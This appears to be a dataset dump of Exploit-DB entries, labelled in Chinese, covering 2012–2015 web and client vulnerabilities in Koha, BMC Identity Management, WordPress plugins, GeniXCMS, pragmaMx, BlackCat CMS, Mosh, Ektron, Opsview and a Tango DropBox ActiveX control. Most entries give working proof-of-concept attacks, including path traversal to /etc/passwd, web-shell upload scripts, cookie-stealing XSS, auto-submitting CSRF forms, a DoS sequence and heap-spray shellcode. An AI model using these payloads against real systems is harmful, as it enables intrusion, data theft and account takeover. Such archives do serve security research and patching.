QLWD/code_shield huggingface dataset:
标题: Koha 3.20.1 - Directory Traversal EDB-ID: 37388 CVE: 2015-4632 类型: WEBAPPS 平台: PHP 发布日期: 2015-06-26 漏洞利用脚本: # Exploit Title: Koha Open Source ILS - Path Traversal in STAFF client
# Google Dork:
# Date: 25/06/2015
# Exploit Author: Raschin Tavakoli, Bernhard Garn, Peter Aufner and Dimitris Simos - Combinatorial Security Testing Group of SBA Research (cst@sba-research.org)
# Vendor Homepage: koha-community.org
# Software Link: https://github.com/Koha-Community/Koha
# Version: 3.20.x <= 3.20.1, 3.18.x <= 3.18.8, 3.16.x <= 3.16.12
# Tested on: Debian Linux
# CVE : CVE-2015-4632



### CVE-2015-4632 ### 

#### Titel: ####
Directory traversal

#### Type of vulnerability: ####
File Path Traversal

##### Exploitation vector:
Injecting into the "template_path" parmeter in /cgi-bin/koha/svc/members/search and /cgi-bin/koha/svc/members/search

##### Attack outcome:
Read access to arbitrary files on the system

#### Impact: ####
{low,medium,high,critical}
high

#### Software/Product name: ####
Koha

#### Affected versions: ####
* <= Koha 3.20.1
* <= Koha 3.18.8 
* <= Koha 3.16.12

#### Fixed in version: ####
* version 3.20.1 http://koha-community.org/security-release-koha-3-20-1/,
* version 3.18.8 http://koha-community.org/security-release-koha-3-18-8/, 
* version 3.16.12 http://koha-community.org/security-release-koha-3-16-12/

#### Vendor: ####
http://koha-community.org/ (Open Source)

#### CVE number: ####
CVE-2015-4632

#### Timeline ####
* `2015-06-18` identification of vulnerability 
* `2015-06-18` 1st contact to release maintainer, immediate reply
* `2015-06-23` new release with fixed vulnerabilities

#### Credits: ####
RGhanad-Tavakoli@sba-research.org
---
Vulnerability Disclosure by Combinatorial Security Testing Group of SBA Research.
Contact: cst@sba-research.org

#### References:
http://bugs.koha-community.org/bugzilla3/show_bug.cgi?id=14408
http://koha-community.org/security-release-koha-3-20-1/
http://koha-community.org/security-release-koha-3-18-8/
http://koha-community.org/security-release-koha-3-16-12/

#### Description: ####
Multiple directory traversal vulnerabilities allow remote attackers to read arbitrary files via a .. (dot dot) in (1) /cgi-bin/koha/svc/virtualshelves/search and (2) in /cgi-bin/koha/svc/members/search 

#### Proof-of-concept: ####
/cgi-bin/koha/svc/virtualshelves/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

/cgi-bin/koha/svc/members/search?template_path=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd URL: https://www.exploit-db.com/exploits/37388
标题: BMC Identity Management - Cross-Site Request Forgery EDB-ID: 37372 CVE: 2012-2959 类型: WEBAPPS 平台: JAVA 发布日期: 2012-06-11 漏洞利用脚本: source: https://www.securityfocus.com/bid/53924/info

Identity Management is prone to a cross-site request-forgery vulnerability because the application fails to properly validate HTTP requests.

Exploiting this issue may allow a remote attacker to perform certain actions in the context of an authorized user's session and gain unauthorized access to the affected application; other attacks are also possible. 

<html><head><title>BMC IDM Change PW CSRF PoC</title></head> <body onload="document.getElementById('CSRF').submit()"> <form action="https://xxx.xxx.xxx.xxx/idm/password-manager/changePasswords.do"; method="post" id="CSRF"> <input type="hidden" name="colChkbx_Tab1" value="CN=Test User,OU=User Accounts,DC=corporate,DC=business,DC=com corporate Win2000" /> <input type="hidden" name="password" value="Abc123!" /> <input type="hidden" name="passwordAgain" value="Abc123!" /> <input type="hidden" name="selAccts" value="CN=user Name,OU=User Accounts,DC=corporate,DC=business,DC=com corporate Win2000" /> </form></body></html> URL: https://www.exploit-db.com/exploits/37372
标题: WordPress Plugin FCChat Widget 2.2.x - 'upload.php' Arbitrary File Upload EDB-ID: 37370 CVE: 2012-3578 类型: WEBAPPS 平台: PHP 发布日期: 2012-06-07 漏洞利用脚本: source: https://www.securityfocus.com/bid/53855/info

WordPress FCChat Widget plugin is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

WordPress FCChat Widget plugin 2.2.12.2 through versions 2.2.13.1 are vulnerable. 

<?php

$uploadfile="lo.php.gif";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/Upload.php?id=1");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
                'Submit'=>'submit'));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access : 
http://www.exemple.com/wordpress/wp-content/plugins/fcchat/html/images/1_lo.php.gif

lo.php.gif
<?php
phpinfo();
?> URL: https://www.exploit-db.com/exploits/37370
标题: GeniXCMS 0.0.3 - Cross-Site Scripting EDB-ID: 37360 CVE: 2015-5066 2015-3221 类型: WEBAPPS 平台: PHP 发布日期: 2015-06-24 漏洞利用脚本: # Exploit Title:  Persistent XSS
# Google Dork: intitle: Persistent XSS
# Date: 2015-06-21
# Exploit Author:  John Page ( hyp3rlinx )
# Website: hyp3rlinx.altervista.org
# Vendor Homepage: genixcms.org
# Software Link: genixcms.org
# Version: 0.0.3
# Tested on: windows 7
# Category: webapps


Vendor:
=============================================
genixcms.org



Product:
=====================================================
GeniXCMS v0.0.3 is a PHP based content management system



Advisory Information:
===================================================
Multiple persistent & reflected XSS vulnerabilities



Vulnerability Details:
=========================================================
GeniXCMS v0.0.3 is vulnerable to persistent and reflected XSS 


XSS Exploit code(s):
====================

Persistent XSS:
-----------------------
http://localhost/GeniXCMS-master/GeniXCMS-master/gxadmin/index.php?page=posts&act=add&token=

1-content input field
content injected XSS will execute after posting is published

2-title input field
title injected XSS will execute immediate.


Relected XSS:
---------------------
http://localhost/GeniXCMS-master/GeniXCMS-master/gxadmin/index.php?page=posts&q=1'<script>alert('XSS By Hyp3rlinx')</script>



Disclosure Timeline:
=========================================================
Vendor Notification: NA
June 21, 2015 : Public Disclosure



Severity Level:
=========================================================
Med



Description:
=========================================================

Request Method(s):         [+] GET & POST 


Vulnerable Product:        [+] GeniXCMS 0.0.3 


Vulnerable Parameter(s):   [+] q, content & title
                       

Affected Area(s):          [+] index.php
                                                       

===============================================================

[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that
it is not altered except by reformatting it, and that due credit is given. Permission is
explicitly given for insertion in vulnerability databases and similar, provided that
due credit is given to the author. The author is not responsible for any misuse of the
information contained herein and prohibits any malicious use of all security related
information or exploits by the author or elsewhere.


(hyp3rlinx) URL: https://www.exploit-db.com/exploits/37360
标题: WordPress Plugin Nmedia WordPress Member Conversation 1.35.0 - 'doupload.php' Arbitrary File Upload EDB-ID: 37353 CVE: 2012-3577 类型: WEBAPPS 平台: PHP 发布日期: 2015-06-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/53790/info

The Nmedia WordPress Member Conversation plug-in for WordPress is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary PHP code and run it in the context of the Web server process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Nmedia WordPress Member Conversation 1.35.0 is vulnerable; other versions may also be affected. 

<?php

$uploadfile="lo.php";
$ch = 
curl_init("http://www.exemple.com/wordpress/wp-content/plugins/wordpress-member-private-conversation/doupload.php");
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS,
         array('Filedata'=>"@$uploadfile",
         'folder'=>"/test/"));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$postResult = curl_exec($ch);
curl_close($ch);
print "$postResult";

?>

Shell Access :
http://www.exemple.com/wordpress/wp-content/uploads/user_uploads/test/lo.php

lo.php
<?php
phpinfo();
?> URL: https://www.exploit-db.com/exploits/37353
标题: Lively Cart - SQL Injection EDB-ID: 37325 CVE: 2015-5148 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2015-06-19 漏洞利用脚本: ##################################################################################################
#Exploit Title : Lively cart SQL Injection vulnerability
#Author        : Manish Kishan Tanwar AKA error1046
#Vendor Link   : http://codecanyon.net/item/livelycart-a-jquery-php-store-shop/5531393
#Date          : 18/06/2015
#Love to       : zero cool,Team indishell,Mannu,Viki,Hardeep Singh,Incredible,Kishan Singh and ritu rathi
#Discovered At : Indishell Lab
##################################################################################################

////////////////////////
/// Overview:
////////////////////////


Lively cart is shping cart script and search parameter(search_query) in not filtering user supplied data and hence affected from SQL injection vulnerability 

///////////////////////////////
// Vulnerability Description:
///////////////////////////////
vulnerability is due to search_query GET parameter 

////////////////
///  POC   ////
///////////////


http://SERVER/1.2.0/product/search?search_query='


                             --==[[ Greetz To ]]==--
############################################################################################
#Guru ji zero ,code breaker ica, root_devil, google_warrior,INX_r0ot,Darkwolf indishell,Baba, 
#Silent poison India,Magnum sniper,ethicalnoob Indishell,Reborn India,L0rd Crus4d3r,cool toad,
#Hackuin,Alicks,mike waals,Suriya Prakash, cyber gladiator,Cyber Ace,Golden boy INDIA,
#Ketan Singh,AR AR,saad abbasi,Minhal Mehdi ,Raj bhai ji ,Hacking queen,lovetherisk,Bikash Dash
#############################################################################################
                             --==[[Love to]]==--
# My Father ,my Ex Teacher,cold fire hacker,Mannu, ViKi ,Ashu bhai ji,Soldier Of God, Bhuppi,
#Mohit,Ffe,Ashish,Shardhanand,Budhaoo,Jagriti,Salty and Don(Deepika kaushik)
                       --==[[ Special Fuck goes to ]]==--
                            <3  suriya Cyber Tyson <3 URL: https://www.exploit-db.com/exploits/37325
标题: Tango DropBox 3.1.5 + PRO - Activex HeapSpray EDB-ID: 37319 CVE: 2007-3071 类型: WEBAPPS 平台: WINDOWS 发布日期: 2015-06-19 漏洞利用脚本: <HTML>
<BODY>
  <input language=JavaScript onclick=Tryme() type=button value="Launch Calc">
  <object id=boom classid="clsid:{C915F573-4C11-4968-9080-29E611FDBE9F}"></object>
<br>Tango DropBox Activex Heap Spray Exploit</br>
<br>Version:3.1.5 + PRO</br>
<br>The vulnerability lies in the COM component used eSellerateControl350.dll (3.6.5.0) method of the ''GetWebStoreURL' member.</br>
<br>Vendor Homepage:http://etonica.com/dropbox/index.html</br>
<br>Software Link:http://etonica.com/dropbox/download.html</br>
<br>Author: metacom</br>
<!--Video Poc:http://bit.ly/1K0hnYS -->
<SCRIPT>

var heapspray=unescape( "%uE860%u0000%u0000%u815D%u06ED%u0000%u8A00%u1285%u0001%u0800" +
                        "%u75C0%uFE0F%u1285%u0001%uE800%u001A%u0000%uC009%u1074%u0A6A" +
                        "%u858D%u0114%u0000%uFF50%u0695%u0001%u6100%uC031%uC489%uC350" +
                        "%u8D60%u02BD%u0001%u3100%uB0C0%u6430%u008B%u408B%u8B0C%u1C40" +
                        "%u008B%u408B%uFC08%uC689%u3F83%u7400%uFF0F%u5637%u33E8%u0000" +
                        "%u0900%u74C0%uAB2B%uECEB%uC783%u8304%u003F%u1774%uF889%u5040" +
                        "%u95FF%u0102%u0000%uC009%u1274%uC689%uB60F%u0107%uEBC7%u31CD" +
                        "%u40C0%u4489%u1C24%uC361%uC031%uF6EB%u8B60%u2444%u0324%u3C40" +
                        "%u408D%u8D18%u6040%u388B%uFF09%u5274%u7C03%u2424%u4F8B%u8B18" +
                        "%u205F%u5C03%u2424%u49FC%u407C%u348B%u038B%u2474%u3124%u99C0" +
                        "%u08AC%u74C0%uC107%u07C2%uC201%uF4EB%u543B%u2824%uE175%u578B" +
                        "%u0324%u2454%u0F24%u04B7%uC14A%u02E0%u578B%u031C%u2454%u8B24" +
                        "%u1004%u4403%u2424%u4489%u1C24%uC261%u0008%uC031%uF4EB%uFFC9" +
                        "%u10DF%u9231%uE8BF%u0000%u0000%u0000%u0000%u9000%u6163%u636C" +
                        "%u652E%u6578%u9000");

     var sprayContainer = unescape("%u9090%u9090");
   var heapToAddress = 0x0a0a0a0a;


    function Tryme()
    {
        var size_buff = 5000;
        var x =  unescape("%0a%0a%0a%0a");
        while (x.length<size_buff) x += x;
        x = x.substring(0,size_buff);

        boom.GetWebStoreURL(x, 1);
    }
    

       function getsprayContainer(sprayContainer, sprayContainerSize)
 {
  while (sprayContainer.length*2<sprayContainerSize)
  {
   sprayContainer += sprayContainer;
  }
  sprayContainer = sprayContainer.substring(0,sprayContainerSize/2);
  return (sprayContainer);
 }

        var heapBlockSize = 0x500000;
        var SizeOfHeap = 0x30;
     var payLoadSize = (heapspray.length * 2);

     var sprayContainerSize = heapBlockSize - (payLoadSize + SizeOfHeap);
     var heapBlocks = (heapToAddress+heapBlockSize)/heapBlockSize;

     var memory = new Array();
        sprayContainer = getsprayContainer(sprayContainer,sprayContainerSize);

     for (i=0;i<heapBlocks;i++)
        {
            memory[i] = sprayContainer +  heapspray;
        }

</SCRIPT>
</BODY>
</HTML> URL: https://www.exploit-db.com/exploits/37319
标题: pragmaMx 1.12.1 - 'modules.php' URI Cross-Site Scripting EDB-ID: 37312 CVE: 2012-2452 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/53669/info

PragmaMX is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

PragmaMX 1.12.1 is vulnerable; other versions may also be affected. 

http://www.example.com/modules.php?name=Themetest&%22%3E%3Cscript%3Ealert%28%22XSS%22%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37312
标题: pragmaMx 1.12.1 - '/includes/wysiwyg/spaw/editor/plugins/imgpopup/img_popup.php?img_url' Cross-Site Scripting EDB-ID: 37313 CVE: 2012-2452 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/53669/info
 
PragmaMX is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied input.
 
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.
 
PragmaMX 1.12.1 is vulnerable; other versions may also be affected. 

http://www.example.com/includes/wysiwyg/spaw/editor/plugins/imgpopup/img_popup.php?img_url=%22%3E%3Cscript%3E alert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37313
标题: BlackCat CMS 1.1.1 - Arbitrary File Download EDB-ID: 37304 CVE: 2015-5079 类型: WEBAPPS 平台: PHP 发布日期: 2015-06-17 漏洞利用脚本: # Exploit Title: BlackCat CMS v1.1.1 Arbitrary File Download Vulnerability 
# Date: 2015/06/16
# Vendor Homepage: http://blackcat-cms.org/
# Software Link: http://blackcat-cms.org/temp/packetyzer/blackcatcms_2fo3PXdKj1.zip
# Version: v1.1.1
# Tested on: Centos 6.5,PHP 5.4.41
# Category: webapps

* Description

file:/modules/blackcat/widgets/logs.php

 72 // download
 73 if(CAT_Helper_Validate::sanitizeGet('dl'))
 74 {
 75     $file = CAT_Helper_Directory::sanitizePath(CAT_PATH.'/temp/'.CAT_Helper_Validate::sanitizeGet('dl'));  <-- Not Taint Checking
 76     if(file_exists($file))
 77     {
 78         $zip = CAT_Helper_Zip::getInstance(pathinfo($file,PATHINFO_DIRNAME).'/'.pathinfo($file,PATHINFO_FILENAME).'.zip');
 79         $zip->config('removePath',pathinfo($file,PATHINFO_DIRNAME))
 80             ->create(array($file));
 81         if(!$zip->errorCode() == 0)
 82         {
 83             echo CAT_Helper_Validate::getInstance()->lang()->translate("Unable to pack the file")
 84                 . ": ".str_ireplace( array( str_replace('\\','/',CAT_PATH),'\\'), array('/abs/path/to','/'), $file );
 85         }
 86         else
 87         {
 88             $filename = pathinfo($file,PATHINFO_DIRNAME).'/'.pathinfo($file,PATHINFO_FILENAME).'.zip';
 89             header("Pragma: public"); // required
 90             header("Expires: 0");
 91             header("Cache-Control: must-revalidate, post-check=0, pre-check=0");
 92             header("Cache-Control: private",false); // required for certain browsers
 93             header("Content-Type: application/zip");
 94             header("Content-Disposition: attachment; filename=\"".basename($filename)."\";" );
 95             header("Content-Transfer-Encoding: binary");
 96             header("Content-Length: ".filesize($filename));
 97             readfile("$filename");
 98             exit;
 99         }
100     }


POC:
curl -sH 'Accept-encoding: gzip' "http://10.1.1.1/blackcat/modules/blackcat/widgets/logs.php?dl=../config.php" |gunzip - URL: https://www.exploit-db.com/exploits/37304
标题: Mosh - Remote Denial of Service EDB-ID: 37306 CVE: 2012-2385 类型: DOS 平台: LINUX 发布日期: 2012-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/53646/info

Mosh is prone to a remote denial-of-service vulnerability.

An attacker can exploit this issue to cause the affected application to crash or to enter an endless loop, denying service to legitimate users. 

echo -en "\e[2147483647L"
echo -en "\e[2147483647M"
echo -en "\e[2147483647@"
echo -en "\e[2147483647P" URL: https://www.exploit-db.com/exploits/37306
标题: Plogger Photo Gallery - SQL Injection EDB-ID: 37305 CVE: 2007-6587 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-22 漏洞利用脚本: source: https://www.securityfocus.com/bid/53644/info

Plogger Photo Gallery is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

A successful exploit will allow an attacker to compromise the application, to access or modify data, or to exploit latent vulnerabilities in the underlying database. 

http://www.example.com/demo/plog-rss.php?id=1%27%22&level=collection URL: https://www.exploit-db.com/exploits/37305
标题: Pligg CMS 1.x - 'module.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37311 CVE: 2012-2436 类型: WEBAPPS 平台: PHP 发布日期: 2012-05-23 漏洞利用脚本: source: https://www.securityfocus.com/bid/53662/info

Pligg CMS is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Pligg CMS 1.2.2 is vulnerable; other versions may also be affected.

http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_1_low=%22%3E%3Cs cript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_1_high=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_2_low=%22%3E%3Cs cript%3Ealert%28document.cookie%29;%3C/script%3E
http://www.example.com/module.php?module=captcha&action=configure&captcha=math&q_2_high=%22%3E%3C script%3Ealert%28document.cookie%29;%3C/script%3E URL: https://www.exploit-db.com/exploits/37311
标题: Ektron CMS 9.10 SP1 (Build 9.1.0.184.1.114) - Cross-Site Request Forgery EDB-ID: 37296 CVE: 2015-3624 类型: WEBAPPS 平台: PHP 发布日期: 2015-06-16 漏洞利用脚本: # Vulnerability type: Cross-site Request Forgery 
# Vendor: http://www.ektron.com/
# Product: Ektron Content Management System
# Affected version: =< 9.10 SP1 (Build 9.1.0.184.1.114)
# Patched version: 9.10 SP1 (Build 9.1.0.184.1.120)
# CVE ID: CVE-2015-3624
# Credit: Jerold Hoong

# PROOF OF CONCEPT (CSRF)

Cross-site request forgery (CSRF) vulnerability in MenuActions.aspx in Ektron CMS 9.10
SP1 before build 9.1.0.184.1.120 allows remote attackers to hijack the authentication
of content administrators for requests that could lead to the deletion of content and
assets.

<html>
  <body>
    <form action="http://127.0.0.1/Test/WorkArea/DmsMenu/menuActions/MenuActions.aspx">
      <input type="hidden" name="action" value="delete" />
      <input type="hidden" name="contentId" value="4210" />
      <input type="hidden" name="LangType" value="1033" />
      <input type="hidden" name="folderId" value="561" />
      <input type="hidden" name="redirectBack" value="true" />
      <input type="hidden" name="menuType" value="Workarea" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

# TIMELINE
– 07/04/2015: Vulnerability found
– 07/04/2015: Vendor informed
– 08/04/2015: Vendor responded and acknowledged
- 01/05/2015: MITRE issued CVE number CVE-2015-3624
– 28/05/2015: Vendor fixed the issue
– 31/05/2015: Public disclosure URL: https://www.exploit-db.com/exploits/37296
标题: Opsview 4.6.2 - Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 37271 CVE: 2015-4420 类型: WEBAPPS 平台: MULTIPLE 发布日期: 2015-06-12 漏洞利用脚本: # Exploit title: Opsview 4.6.2 - Multiple XSS
# Date: 07-06-2015
# Vendor homepage: www.opsview.com
# Version: 4.6.2
# CVE: CVE-2015-4420
# Author: Dolev Farhi @dolevf
# Tested On: Kali Linux + Windows 7

# Details:
# --------
# Opsview is a monitoring system based on Nagios Core. Opsview is prone to several stored and reflected XSS vulnerabilities in the latest version



1. Stored XSS through a malicious check plugin

a. Create a plugin with the following content:

#!/bin/bash
echo '<script>alert("script0t0s")</script>'
exit 2

b. create a new check and assign this plugin.

c. once a host uses this check, navigate to the event page, the XSS will be injected.

d. once a user/admin acknowledges this critical event (exit 2), the code will be injected prior his acknowledgement.



2. Stored XSS in host profile

a. add a host

b. in the description of the host, add a description as the one below:
<script>alert(document.cookie)</script>

c. save settings

d. once a user/admin views the host settings, XSS will be injected.


3. Reflected XSS in Test service check page.
a. Add a new service check

b. Test the new service check against any host and provide in the command line the following <script>alert("test")</script>

c. the XSS will immediately reflect to the screen.

response output:

POST /state/service/166/exec HTTP/1.1
Host: 192.168.0.20
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:31.0) Gecko/20100101 Firefox/31.0 Iceweasel/31.4.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://192.168.0.20/status/service?host_state=0&host_filter=handled&host=opsview
Content-Length: 105
Cookie: PHPSESSID=
auth_tkt=
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache

plugin_args=%3Cscript%3Ealert(%22opsview%22)%3C%2Fscript%3E&_CSRFToken=0x84BCDAD00D5111E5988CB34E7AFD915 URL: https://www.exploit-db.com/exploits/37271